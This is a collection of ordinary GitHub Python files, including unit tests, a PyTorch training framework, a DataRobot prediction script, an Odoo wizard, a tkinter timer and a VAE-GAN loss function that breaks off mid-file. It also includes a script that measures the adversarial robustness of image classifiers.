{"seq_id":"23173379260","text":"\"\"\"Unit tests for server obstaravania.\nRun all unit test from command line as:\n  python test.py\nTo run an individual unit test only, run (for example):\n  python test.py TestHandlers.test_subgraph\n\"\"\"\nimport json\nimport os\nimport sys\nimport unittest\nimport webapp2\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../data/db')))\nfrom db import DatabaseConnection\n\nimport serving\n\n\ndef _request_json(url, test_handler):\n    \"\"\"Verifies that the given URL returns a valid JSON.\"\"\"\n    request = webapp2.Request.blank(url)\n    response = request.get_response(serving.app)\n    test_handler.assertEqual(response.status_int, 200)\n    test_handler.assertEqual(response.content_type, 'application/json')\n    j = json.loads(response.text)\n    return j\n\n\nclass TestHandlers(unittest.TestCase):\n\n    def test_info_notice(self):\n        url = '/info_notice?id=159012'\n        content = _request_json(url, self)\n        print('InfoNotice:\\n%s' % (content))\n\n\ndef main():\n    serving.initialise_app()\n    unittest.main()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"verejnedigital/verejne.digital","sub_path":"obstaravania/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"18"}
{"seq_id":"23173258303","text":"import unittest\n\nfrom heuristics.DeterministicCSbeforeafter import *\nfrom heuristics.RandomizedCS import RandomizedCS\nfrom heuristics.RandomizedSearch import RandomizedSearch\n\n\nclass TestStringMethods(unittest.TestCase):\n\n    def setUp(self):\n        self.config = Config(\n            shipments_file='/test_data/Data - shipments 30.csv',\n            shipments_file_time_windows='/test_data/DataTW - shipments 237.csv',\n            gap_percentage=1.0,\n            time_window_interval_in_minutes=20,\n            max_number_shipment_multiplication=5\n        )\n\n        self.input = InputTW(shipments_file_time_windows=self.config.shipments_file_time_windows, depots_file=c.depots_file)\n        pass\n\n    def test_working_input(self):\n        working_shipments = [\n            # list(filter(lambda shipment: shipment.id == 'DC1.FC5.5', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'DC1.FC4.4', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'FC4.YPB.5', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'FC4.YPB.6', self.input.shipments_tw))[0],\n        ]\n        working = InputTW(shipments_tw=working_shipments)\n        rc = RandomizedCS(input=working, config=self.config)\n        solution = rc.get_solution()\n        self.assertEqual(len(solution.trucks), 1, 'These shipments should fit on one truck')\n\n    def test_problematic_input(self):\n        problematic_shipments = [\n            list(filter(lambda shipment: shipment.id == 'DC1.FC5.5', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'DC1.FC4.4', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'FC4.YPB.5', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'FC4.YPB.6', self.input.shipments_tw))[0],\n            list(filter(lambda shipment: shipment.id == 'EV.FC4.3', self.input.shipments_tw))[0],\n        ]\n        problematic_input = InputTW(shipments_tw=problematic_shipments)\n        rc = RandomizedCS(input=problematic_input, config=self.config)\n        solution = rc.get_solution()\n        self.assertEqual(len(solution.trucks), 2, solution)\n\n    def test_active_spacey_filter(self):\n\n        start_locations = ['FC1', 'FC2', 'DC1', 'FC4']\n        end_locations = ['DC1', 'AMS', 'FC5', 'Boni']\n        types = ['IBDC', 'OBR', 'IBDC', 'IBOV']\n        # shipments = [ShipmentTW('id_' + str(i), 10.0 + i, 11 + i, 14 + i, 15 + i, start_locations[i], end_locations[i],types[i]) for i in range(0, 4)]\n        tw_1 = ShipmentTW('id_1', 10.0, 10.5, 11.5, 12.0, 'FC1', 'DC1', 'IBDC')\n        shipment_1 = Shipment(input_shipment=tw_1, start_time=10.25)\n        tw_2 = ShipmentTW('id_2', 12.5, 13.0, 13.5, 14.0, 'FC2', 'AMS', 'OBR')\n        shipment_2 = Shipment(input_shipment=tw_2, start_time=12.75)\n        tw_3 = ShipmentTW('id_3', 14.5, 15.0, 16.0, 16.5, 'DC1', 'FC5', 'IBDC')\n        shipment_3 = Shipment(input_shipment=tw_3, start_time=14.75)\n        tw_4 = ShipmentTW('id_4', 17.0, 17.5, 18.0, 18.5, 'FC4', 'Boni', 'IBOV')\n        shipment_4 = Shipment(input_shipment=tw_4, start_time=17.25)\n\n        truck_1 = Truck('FC1', [shipment_1, shipment_2, shipment_3, shipment_4])\n\n        active_trucks = [truck_1]\n\n        ship_before = ShipmentTW('id_5', 8.0, 9.0, 9.0, 10.0, 'FC1', 'DC1', 'IBDC')\n\n        self.assertTrue(fits_before_tw(truck_1, ship_before))\n        self.assertFalse(fits_after_tw(truck_1, ship_before))\n        self.assertTrue(are_compatible_tw_truck(truck_1, ship_before))\n\n        ship_after = ShipmentTW('id_6', 19.0, 19.5, 20.5, 21.0, 'FC5', 'Boni', 'IBOV')\n        self.assertFalse(fits_before_tw(truck_1, ship_after))\n        self.assertTrue(fits_after_tw(truck_1, ship_after))\n        self.assertTrue(are_compatible_tw_truck(truck_1, ship_after))\n\n        ship_exact_before_same_location = ShipmentTW('id_7', 9.5, 9.5, 10.25, 10.25, 'DC1', 'FC1', 'IBDC')\n        self.assertTrue(fits_before_tw(truck_1, ship_exact_before_same_location))\n\n        ship_exact_before_different_location = ShipmentTW('id_8', 9.5, 9.5, 10.25, 10.25, 'FC2', 'AMS', 'IBDC')\n        self.assertFalse(fits_before_tw(truck_1, ship_exact_before_different_location))\n\n        ship_overlap_before_same_location = ShipmentTW('id_7', 9.5, 9.5, 10.26, 10.26, 'DC1', 'FC1', 'IBDC')\n        self.assertFalse(fits_before_tw(truck_1, ship_overlap_before_same_location))\n\n        active_trucks_with_space = get_active_trucks_with_space(ship_before, active_trucks)\n\n        # for truck in active_trucks_with_space:\n        #     cheapest = cheapest_compatible_shipment_truck(truck, shipment_1)\n        #     self.assertTrue(areCompatible(truck, cheapest))\n","repo_name":"fvandijken/msc-thesis","sub_path":"test/Test_RandomizedCS.py","file_name":"Test_RandomizedCS.py","file_ext":"py","file_size_in_byte":4733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6437708268","text":"import os\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import List, Optional\n\nimport torch\nfrom torch.utils import data\nfrom tqdm import tqdm\n\n\ndef _to_gpu(data):\n    if isinstance(data, list):\n        return [_to_gpu(i) for i in data]\n    elif isinstance(data, dict):\n        return {k: _to_gpu(v) for k, v in data.items()}\n    elif isinstance(data, tuple):\n        return tuple([_to_gpu(i) for i in data])\n    elif torch.is_tensor(data):\n        return data.cuda()\n    else:\n        return data\n\n\nclass Slate():\n    epoch = None\n    iters = None\n    helpers = []\n    train = True\n\n    def __init__(self):\n\n        self.epoch = 1\n        self.iters = 0\n        self._stop = False\n        self._data = None\n\n    def step(self, data):\n\n        raise NotImplementedError\n\n    def run(self, dataloader, max_epochs: Optional[int] = None,\n            max_iters: Optional[int] = None):\n        self._run(dataloader, max_epochs, max_iters)\n\n    def _run(self, dataloader, max_epochs, max_iters):\n        self._stop = False\n\n        while not self._stop:\n            if self.helpers is not None:\n                for helper in self.helpers:\n                    helper.epoch_start(data=self.data, metadata=self.metadata)\n\n            data_enum = tqdm(dataloader)\n            for batch_data in data_enum:\n                if self.helpers is not None:\n                    for helper in self.helpers:\n                        helper.iter_start(data=self.data, metadata=self.metadata)\n\n                batch_data = _to_gpu(batch_data)\n\n                loss_dict, self._data = self.step(batch_data)\n\n                message = [f\"{k}: {v:.6f}\" for k, v in loss_dict.items()]\n                message = \", \".join(message)\n                message = f\"Epoch {self.epoch} Iter {self.iters} \" + message\n                data_enum.set_description(message)\n\n                if self.helpers is not None:\n                    for helper in self.helpers:\n                        helper.iter_end(data=self.data, metadata=self.metadata)\n\n                self.iters += 1\n\n                if max_iters is not None and self.iters > max_iters:\n                    self._stop = True\n                    break\n\n            if self.helpers is not None:\n                for helper in self.helpers:\n                    helper.epoch_end(data=self.data, metadata=self.metadata)\n\n            self.epoch += 1\n            if max_epochs is not None and self.epoch > max_epochs:\n                self._stop = True\n\n        self.shutdown()\n\n    def shutdown(self):\n        pass\n\n    @property\n    def data(self):\n        return self._data\n\n    @property\n    def metadata(self):\n        return {\n            'epoch': self.epoch,\n            'iters': self.iters,\n        }\n\n\nclass DataFeature():\n\n    def __init__(self):\n        pass\n\n    def feat(self, data):\n\n        return data\n\n    def collate(self, data):\n        data = torch.tensor(data)\n        return data\n\n\nclass Dataset(data.Dataset):\n\n    def __init__(self, dataset, features, proc_fn=None):\n\n        if proc_fn is not None:\n            dataset = proc_fn(dataset)\n        self.dataset = dataset\n        self.features = features\n\n\n    def __getitem__(self, idx):\n        data = {key: feature.feat(self.dataset[idx]) for key, feature in self.features.items()}\n\n        return data\n\n    def __len__(self):\n        return len(self.dataset)\n\n\ndef collate_fn(batch, features):\n    data = {key: feature.collate([data[key] for data in batch])\n            for key, feature in features.items()}\n\n    return data\n\n\nclass DataLoader(data.DataLoader):\n    def __init__(self, dataset, batch_size=1,\n                shuffle=False, sampler=None,\n                batch_sampler=None, num_workers=0,\n                pin_memory=False, drop_last=False,\n                timeout=0, worker_init_fn=None):\n\n        _collate_fn = partial(collate_fn, features=dataset.features)\n        super(self.__class__, self).__init__(\n            dataset,\n            batch_size=batch_size,\n            shuffle=shuffle,\n            sampler=sampler,\n            batch_sampler=batch_sampler,\n            num_workers=num_workers,\n            collate_fn=_collate_fn,\n            pin_memory=pin_memory,\n            drop_last=drop_last,\n            timeout=timeout,\n            worker_init_fn=worker_init_fn,\n        )\n\n\nclass Helper():\n\n    def epoch_start(self, data, metadata):\n        pass\n\n    def epoch_end(self, data, metadata):\n        pass\n\n    def iter_start(self, data, metadata):\n        pass\n\n    def iter_end(self, data, metadata):\n        pass\n\n\nclass CheckpointHelper(Helper):\n    save_dir = Path(\"checkpoints\")\n\n    def __init__(self, exp_name, checkpoint_dict, save_epoch=False, save_iters=None, only_save_last=True):\n\n        assert save_iters is None or isinstance(save_iters, int), \"save_iters must be None or int\"\n\n        self.exp_name = exp_name\n        self.checkpoint_dict = checkpoint_dict\n        self.save_epoch = save_epoch\n        self.save_iters = save_iters\n        self.only_save_last = only_save_last\n\n    def epoch_end(self, data, metadata):\n        if self.save_epoch:\n            if self.only_save_last:\n                fname = \"lastmodel.pt\"\n            else:\n                fname = f\"epoch_{metadata['epoch']}.pt\"\n            self._save(data, metadata, fname)\n\n    def iter_end(self, data, metadata):\n        iteration = metadata['iters']\n        if self.save_iters is not None and iteration > 0 and iteration % self.save_iters == 0:\n            fname = f'iter_{iteration}.pt'\n            self._save(data, metadata, fname)\n\n    def _save(self, data, metadata, fname):\n        save_dict = {\n            'metadata': metadata,\n            'checkpoint': {k: v.state_dict() for k, v in self.checkpoint_dict.items()},\n        }\n        checkpoint_path = self.checkpoint_dir / fname\n        print(f\"Saving checkpoint at {checkpoint_path}\")\n        torch.save(save_dict, checkpoint_path)\n\n    def load(self, checkpoint_path):\n\n        assert os.path.isfile(checkpoint_path)\n\n        loaded_dict = torch.load(checkpoint_path, map_location='cpu')\n\n        for k, v in self.checkpoint_dict.items():\n            try:\n                v.load_state_dict(loaded_dict['checkpoint'][k])\n            except KeyError as e:\n                print(e)\n\n        return loaded_dict['metadata']\n\n    @property\n    def checkpoint_dir(self):\n        checkpoint_dir = self.save_dir / self.exp_name\n        checkpoint_dir.mkdir(exist_ok=True, parents=True)\n        return checkpoint_dir\n\n\nclass SubslateHelper(Helper):\n    def __init__(self, slate, dataloader, run_epoch=False, run_iters=None):\n\n        assert run_iters is None or isinstance(run_iters, int), \"save_iters must be None or int\"\n\n        self.slate = slate\n        self.dataloader = dataloader\n        self.run_epoch = run_epoch\n        self.run_iters = run_iters\n\n    def _run(self):\n        if not self.slate.train:\n            self.slate.model.eval()\n        self.slate.run(self.dataloader, max_epochs=1)\n        if not self.slate.train:\n            self.slate.model.train()\n\n    def epoch_end(self, data, metadata):\n        if self.run_epoch:\n            self._run()\n\n    def iter_end(self, data, metadata):\n        iteration = metadata['iters']\n        if self.run_iters is not None and iteration > 0 and iteration % self.run_iters == 0:\n            self._run()\n","repo_name":"sillwood/voicemos","sub_path":"tabula.py","file_name":"tabula.py","file_ext":"py","file_size_in_byte":7329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"70290469801","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\nimport requests\nimport os\nimport datarobot as dr\nimport numpy as np\nimport datetime\nimport sys\nimport time\nimport yaml\nimport warnings\nimport json\nimport pandas as pd\nimport nbconvert\nwarnings.filterwarnings(\"ignore\")\n\nclass DataRobotPredictionError(Exception):\n    pass\n\n# Credentials\nAPI_KEY = ''\nUSERNAME =''\n\n#deployment\ndeployment_id = ''\n\ndef make_datarobot_deployment_predictions(data, deployment_id):\n    \"\"\"\n    Make predictions on data provided using DataRobot deployment_id provided.\n    See docs for details:\n         https://app.datarobot.com/docs/users-guide/predictions/api/new-prediction-api.html\n\n    Parameters\n    ----------\n    data : str\n        Feature1,Feature2\n        numeric_value,string\n    deployment_id : str\n        The ID of the deployment to make predictions with.\n\n    Returns\n    -------\n    Response schema:\n        https://app.datarobot.com/docs/users-guide/predictions/api/new-prediction-api.html#response-schema\n\n    Raises\n    ------\n    DataRobotPredictionError if there are issues getting predictions from DataRobot\n    \"\"\"\n    # Set HTTP headers. The charset should match the contents of the file.\n    # You will need to put your datarobot-key (for cloud accounts)\n    headers = {'Content-Type': 'text/plain; charset=UTF-8', 'datarobot-key': ''}\n\n    url = 'https://cfds-ccm-prod.orm.datarobot.com/predApi/v1.0/deployments/{deployment_id}/'          'predictions'.format(deployment_id=deployment_id)\n    # Make API request for predictions\n    predictions_response = requests.post(\n        url, auth=(USERNAME, API_KEY), data=data, headers=headers)\n    _raise_dataroboterror_for_status(predictions_response)\n    # Return a Python dict following the schema in the documentation\n    return predictions_response.json()\n\n\ndef _raise_dataroboterror_for_status(response):\n    \"\"\"Raise DataRobotPredictionError if the request fails along with the response returned\"\"\"\n    try:\n        response.raise_for_status()\n    except requests.exceptions.HTTPError:\n        err_msg = '{code} Error: {msg}'.format(\n            code=response.status_code, msg=response.text)\n        raise DataRobotPredictionError(err_msg)\n\ndef main(filename, deployment_id):\n    \"\"\"\n    Return an exit code on script completion or error. Codes > 0 are errors to the shell.\n    Also useful as a usage demonstration of\n    `make_datarobot_deployment_predictions(data, deployment_id)`\n    \"\"\"\n    if not filename:\n        print(\n            'Input file is required argument. '\n            'Usage: python datarobot-predict.py <input-file.csv>')\n        return 1\n    data = open(filename, 'rb').read()\n    data_size = sys.getsizeof(data)\n    if data_size >= MAX_PREDICTION_FILE_SIZE_BYTES:\n        print(\n            'Input file is too large: {} bytes. '\n            'Max allowed size is: {} bytes.'\n        ).format(data_size, MAX_PREDICTION_FILE_SIZE_BYTES)\n        return 1\n    try:\n        predictions = make_datarobot_deployment_predictions(data, deployment_id)\n    except DataRobotPredictionError as exc:\n        print(exc)\n        return 1\n    print(predictions)\n    return 0\n\n# Make predictions on scoring data against deployment id one replacement model\n#prediction dataset\ndata = open('../../../demo/lendingclub/lendingclubGR/driftdata.csv','rb').read()\n\n\npredictions = pd.DataFrame.from_dict(make_datarobot_deployment_predictions(data, deployment_id))\n\n#Feedback actuals\n\ndef feedback_actuals(data, deployment_id):\n \theaders = {\n \t\t'Content-Type': 'application/json',\n \t\t'Authorization':  'Token {}'.format(API_KEY)}\n \turl = 'https://app.datarobot.com/api/v2/deployments/{deployment_id}/actuals/fromJSON/'.format(\n \t\tdeployment_id=deployment_id)\n \tresp = requests.post(url, data=data, headers=headers)\n \treturn resp\n\ndef set_association_id(deployment_id, association_id):\n    headers = {\n        'Content-Type': 'application/json',\n        'Authorization':  'Token {}'.format(API_KEY)\n    }\n    url = 'https://app.datarobot.com/api/v2/modelDeployments/{deployment_id}/associationIdSettings/'.format(deployment_id=deployment_id)\n    data = {'allowMissingValues': False, 'columnName': association_id}\n    data = json.dumps(data)\n    resp = requests.patch(url, data=data, headers=headers)\n    resp.raise_for_status()\n    return resp\n\nactuals = pd.read_csv('') # actual.csv\nactuals['associationId'] = actuals['member_id']\nactuals['actualValue'] = actuals['actuals']\n\n#put the df in json format\ndata = json.dumps({\n    'data':\n    actuals[['associationId', 'actualValue']].to_dict('records')\n})\n\nactual_response = feedback_actuals(data, deployment_id)\n","repo_name":"aman-sharma-nine/dr","sub_path":"feed_actuals.py","file_name":"feed_actuals.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5304664302","text":"# Future\r\nfrom __future__ import print_function\r\n\r\n# warning ignore\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\nimport argparse\r\n\r\nfrom utils.fast_network_utils import get_network\r\nfrom utils.fast_data_utils import get_fast_dataloader\r\nfrom utils.utils import *\r\n\r\n# fetch args\r\nparser = argparse.ArgumentParser()\r\n\r\n# model parameter\r\nparser.add_argument('--dataset', default='cifar10', type=str)\r\nparser.add_argument('--network', default='vgg', type=str)\r\nparser.add_argument('--depth', default=16, type=int)\r\nparser.add_argument('--base', default='adv', type=str)\r\nparser.add_argument('--batch_size', default=256, type=float)\r\nparser.add_argument('--gpu', default='0', type=str)\r\n\r\n# transformer parameter\r\nparser.add_argument('--tran_type', default='small', type=str, help='small/base')\r\nparser.add_argument('--img_resize', default=224, type=int, help='224')\r\nparser.add_argument('--patch_size', default=16, type=int, help='16')\r\n\r\n# attack parameters\r\nparser.add_argument('--eps', default=8/255, type=float)\r\nparser.add_argument('--steps', default=30, type=int)\r\nargs = parser.parse_args()\r\n\r\n\r\ndef main_worker():\r\n\r\n    # print configuration\r\n    print_configuration(args, 0)\r\n\r\n    # setting gpu id of this process\r\n    torch.cuda.set_device(f'cuda:{args.gpu}')\r\n\r\n\r\n    # init model\r\n    net = get_network(network=args.network,\r\n                      depth=args.depth,\r\n                      dataset=args.dataset,\r\n                      tran_type=args.tran_type,\r\n                      img_size=args.img_resize,\r\n                      patch_size=args.patch_size,\r\n                      pretrain=False).cuda()\r\n    net.eval()\r\n\r\n    # upsampling for transformer\r\n    upsample = True if args.network in transformer_list else False\r\n\r\n    # init dataloader\r\n    _, testloader, _ = get_fast_dataloader(dataset=args.dataset,\r\n                                        train_batch_size=1,\r\n                                        test_batch_size=args.batch_size,\r\n                                        dist=False,\r\n                                        upsample=upsample,\r\n                                        shuffle=False)\r\n\r\n    # checkpoint base tag\r\n    base_tag = '' if args.base == 'standard' else '_' + args.base\r\n\r\n    # setting checkpoint name\r\n    if args.network in transformer_list:\r\n        net_checkpoint_name = f'checkpoint/{args.base}/{args.dataset}/{args.dataset}{base_tag}_{args.network}_{args.tran_type}_patch{args.patch_size}_{args.img_resize}_best.t7'\r\n    else:\r\n        net_checkpoint_name = f'checkpoint/{args.base}/{args.dataset}/{args.dataset}{base_tag}_{args.network}{args.depth}_best.t7'\r\n\r\n    rprint(\"This test : {}\".format(net_checkpoint_name), 0)\r\n    checkpoint = torch.load(net_checkpoint_name, map_location=torch.device(torch.cuda.current_device()))\r\n    checkpoint_module(checkpoint['net'], net)\r\n\r\n    # test\r\n    test_whitebox(net, args.dataset, testloader, attack_list=['pgd'], steps=args.steps, eps=args.eps, rank=0)\r\n\r\nif __name__ == '__main__':\r\n    main_worker()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ByungKwanLee/Double-Debiased-Adversary","sub_path":"fast_test_robustness.py","file_name":"fast_test_robustness.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"18"}
{"seq_id":"5118871217","text":"import requests\nfrom pprint import pprint\n\nSPOT_URL = 'https://api.coinbase.com/v2/prices/{}/spot'\ndef get_spot(pair):\n   try:\n      res = requests.get(SPOT_URL.format(pair))\n      res = res.json()\n      return res['data']['amount']\n   except Exception as e:\n      print(\"there was an error: \", e)","repo_name":"sourceKing/python_telegram_bot","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3734624283","text":"\nimport time\nfrom odoo import api, fields, models\nfrom datetime import datetime,timedelta\nfrom odoo.exceptions import AccessError, UserError, RedirectWarning, ValidationError, Warning\n\n\nimport logging\n_logger = logging.getLogger(__name__)\n\n\nclass IssueMaterial(models.TransientModel):\n    _name = 'issue.material'\n\n    issue_material_line = fields.One2many('issue.material.line', 'material_id', 'Lines')\n\n    @api.model\n    def default_get(self, fields):\n        obj = self.env['joborder.challan.receipt'].browse(self.env.context.get('active_id'))\n        res = super(IssueMaterial, self).default_get(fields)\n        moves = []\n        res = {}\n        if 'issue_material_line' in fields:\n            query = \"select bol.id , bol.product_id, bol.qty_remaining, bol.uom_id, bol.hsn_code, bol.unit_price,bol.tax_id from Joborder_challan_receipt_line as bol left join joborder_challan_receipt as bo on bo.id = bol.order_id where  bo.id = '\" + str(obj.id) + \"'\"\n            self.env.cr.execute(query)\n            temp = self.env.cr.fetchall()\n            for val1 in temp:\n                if val1[2]:\n\n                    dict2 = {}\n                    dict2['material_id'] =val1[0]\n                    dict2['product_id']=val1[1]\n                    dict2['qty'] = val1[2]\n                    dict2['uom_id']=val1[3]\n                    dict2['hsn_code']=val1[4]\n                    dict2['unit_price']=val1[5]\n                    dict2['tax_id'] = val1[6]\n\n\n                    moves.append (dict2)\n            res['issue_material_line'] = [(0, 0, x) for x in moves]\n        return res\n\n\n    def material_issue(self):\n        product_list = []\n        product_list1 = []\n        joborder = self.env['joborder.challan.receipt'].browse(self.env.context.get('active_id'))\n        challan = self.env['joborder.challan'].create({'challan_id': joborder.id,'origin':joborder.id,\n                                                       'partner_id': joborder.partner_id.id,\n                                                       'date': datetime.today().strftime(\n                                                           '%Y-%m-%d')})\n        for val in self.issue_material_line:\n            if val.select:\n\n                self.env['challan.line'].create(\n                                                {'order_id': challan.id,\n                                                'product_id': val.product_id.id,\n                                                 'party_challan':joborder.id,\n                                                'uom_id': val.uom_id.id,\n                                                'unit_price': val.unit_price,\n                                                'hsn_code': val.product_id.category_id.hsn_no,\n                                                'qty': val.qty,\n                                                 'tax_id': val.tax_id.id})\n\n\n\n                job_obj = self.env['joborder.challan.receipt.line'].search(\n                                                            [('order_id', '=', joborder.id),\n                                                             ('product_id', '=', val.product_id.id)])\n                for job in job_obj:\n                    job.write({'issue_qty': job.issue_qty + val.qty})\n                #\n                #\n                # product_list = self.env['stock.quant'].search( [\n                #         ('product_id', '=', val.product_id.id,),\n                #         ('location_id', '=', joborder.location_id.id)])\n                # if product_list:\n                #     for val6 in product_list:\n                #         val6.write(\n                #                 {'quantity': val6.quantity - val.qty})\n                # else:\n                #     self.env['stock.quant'].create({'product_id': val.product_id.id,\n                #                                                         'location_id': joborder.location_id.id,\n                #                                                         'quantity': - val.qty,\n                #                                                         'product_uom_id':val.uom_id.id\n                #\n                #                                                         })\n                #\n                # product_list1 = self.env['stock.quant'].search([\n                #         ('product_id', '=', val.product_id.id,),\n                #         ('location_id', '=', joborder.location_dest_id.id)])\n                # if product_list1:\n                #     for val7 in product_list1:\n                #         val7.write(\n                #                 {'quantity': val7.quantity + val.qty})\n                # else:\n                #     self.env['stock.quant'].create({'product_id': val.product_id.id,\n                #                                                         'location_id': joborder.location_dest_id.id,\n                #                                                         'quantity': val.qty,\n                #                                                         'product_uom_id':val.uom_id.id\n                #\n                #                                                         })\n\n\n\n        return {\n                        'name': ('Challan'),\n                        'type': 'ir.actions.act_window',\n                        'res_model': 'joborder.challan',\n                        'res_id': challan.id,\n                        'view_type': 'form',\n                        'view_mode': 'form',\n                        'target': 'current',\n                        'nodestroy': True,\n                    }\n\n\n\n\n\n\n\n\nclass IssueMaterialLine(models.TransientModel):\n    _name = 'issue.material.line'\n\n\n    material_id = fields.Many2one('issue.material', 'Wizard')\n    select = fields.Boolean('Select')\n    product_id = fields.Many2one('my.product', 'Product')\n    unit_price = fields.Float('Unit Price')\n    uom_id = fields.Many2one('my.uom', 'UOM')\n    qty = fields.Float('Quantity')\n    hsn_code = fields.Char('Hsn Code')\n    tax_id = fields.Many2one('my.tax', string='Taxes', )\n","repo_name":"Mahedi18/odoo_joborder_process","sub_path":"wizard/issue_material.py","file_name":"issue_material.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3058877284","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 28 16:20:22 2020\n\n@author: jeffa\n\"\"\"\n\nimport tkinter as tk\nimport time \n\ntimer = tk.Tk()\n\ncanvas1 = tk.Canvas(timer, width = 400, height = 300,  relief = 'raised')\ncanvas1.pack()\n\nlabel1 = tk.Label(timer, text='Productivity Timer')\nlabel1.config(font=('helvetica', 14))\ncanvas1.create_window(200, 25, window=label1)\n\nlabel2 = tk.Label(timer, text='Enter Time in Seconds:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label2)\n\nentry1 = tk.Entry (timer) \ncanvas1.create_window(200, 140, window=entry1)\n\ndef count_down_timer ():\n    \n    print(\"test\")\n    \n    text1 = \"Time Remaining:\"\n    label3 = tk.Label(timer, text= text1,font=('helvetica', 10))\n    canvas1.create_window(200, 210, window=label3)    \n    \n    # for time_remaining in range(int(time_seconds), 0, -1):\n    #     print(time_remaining)\n    #     label4 = tk.Label(timer, text= str(time_remaining),font=('helvetica', 10, 'bold'))\n    #     canvas1.create_window(200, 230, window=label4)\n    #     time.sleep(1)    \n\n    \nbutton1 = tk.Button(text='Start Timer', command=count_down_timer, bg='brown', \\\n                    fg='white', font=('helvetica', 9, 'bold'))\ntime_seconds = entry1.get()\nprint(time_seconds)\ncanvas1.create_window(200, 180, window=button1)\n\ntimer.mainloop()","repo_name":"jhat6/timer-program","sub_path":"timer v2.py","file_name":"timer v2.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9772479750","text":"from setuptools import setup\n\n# Should match git tag\nVERSION = '0.1.1'\n\ndef readme():\n    with open('README.md') as f:\n        return f.read()\n\nwith open('requirements.txt') as file:\n    REQUIRED_MODULES = [line.strip() for line in file]\n\nwith open('requirements-dev.txt') as file:\n    DEVELOPMENT_MODULES = [line.strip() for line in file]\n\n\nsetup(name='module-starter.leon',\n      version=VERSION,\n      description='Starter project for python modules',\n      long_description=readme(),\n      keywords='module starter',\n      url='https://github.com/AumitLeon/module_starter_cli',\n      author='Aumit Leon',\n      author_email='aumitleon@gmail.com',\n      packages=['src'],\n      install_requires=REQUIRED_MODULES,\n      extras_require={'dev': DEVELOPMENT_MODULES},\n      entry_points={\n          'console_scripts': ['command=src.command_line:main'],\n      },\n      include_package_data=True)\n","repo_name":"AumitLeon/module_starter_cli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"28374405412","text":"import sys\n\nlines = sys.stdin.readlines()\n\nverif = 0\ndictionnary = {}\n\nfor line in lines:\n\n        temp = list(map(str, line.split()))\n        \n        \n\n        if verif == 1:\n                if temp[0] in dictionnary:\n                        print(dictionnary.get(temp[0]))\n                else:\n                        print(\"eh\")        \n\n        \n        if not temp :\n                verif = 1\n\n        if verif == 0:\n                dictionnary[temp[1]] = temp[0]\n\n","repo_name":"alexanderkurth/Python","sub_path":"10282/10282.py","file_name":"10282.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7456408662","text":"import tensorflow as tf\nimport utilities as uti\n\n\ncross_entropy = tf.keras.losses.BinaryCrossentropy(from_logits=True)\n\n\ndef compute_loss(model, dis_model, x, pre_training):\n    mean, log_var = model.encoder(x)\n    z = uti.sampling_latent_variable(mean, log_var)\n\n    reconstructed = model.decode(z, True)\n    rec_loss = tf.reduce_mean(tf.reduce_sum(tf.keras.losses.binary_crossentropy(x, reconstructed), axis=(1, 2)))\n\n    KL_divergence = -0.5 * (1 + log_var - tf.square(mean) - tf.exp(log_var))\n    KL_divergence = tf.reduce_mean(tf.reduce_sum(KL_divergence, axis=1))\n\n    batch_size = x.shape[0]\n    combined_images = tf.concat([reconstructed, x], axis=0)\n    combined_labels = tf.concat([tf.zeros((batch_size, 1)), tf.ones((batch_size, 1))], axis=0)\n    combined_labels += 0.05 * tf.random.uniform(tf.shape(combined_labels))\n    discriminator_predicted = dis_model.discriminate(combined_images)\n    dis_loss = cross_entropy(combined_labels, discriminator_predicted)\n    gen_loss = cross_entropy(tf.ones((batch_size, 1)), dis_model.discriminate(reconstructed))\n\n    # gen_score = tf.sigmoid(dis_model.discriminate(reconstructed))\n    # second_term = 0.5 * -(tf.reduce_mean(gen_score - 1.0))\n    # first_term = 0.5 * tf.reduce_mean(tf.sigmoid(dis_model.discriminate(x)))\n\n    if pre_training:\n        return rec_loss + KL_divergence + 100 * gen_loss, dis_loss, gen_loss\n    else:\n        clusters = model.group(mean)\n        p = uti.compute_t_distribution(mean, alpha=100)\n        q = uti.compute_t_distribution(clusters, alpha=1)\n        p_q_loss = tf.reduce_sum(-(tf.math.multiply(p, tf.math.log(q))))\n\n        return rec_loss + KL_divergence + 100 * gen_loss + 10 * p_q_loss, dis_loss, gen_loss\n\n\n@tf.function\ndef train_step(model, dis_model, x, optimizer, optimizer_dis, pre_training):\n    with 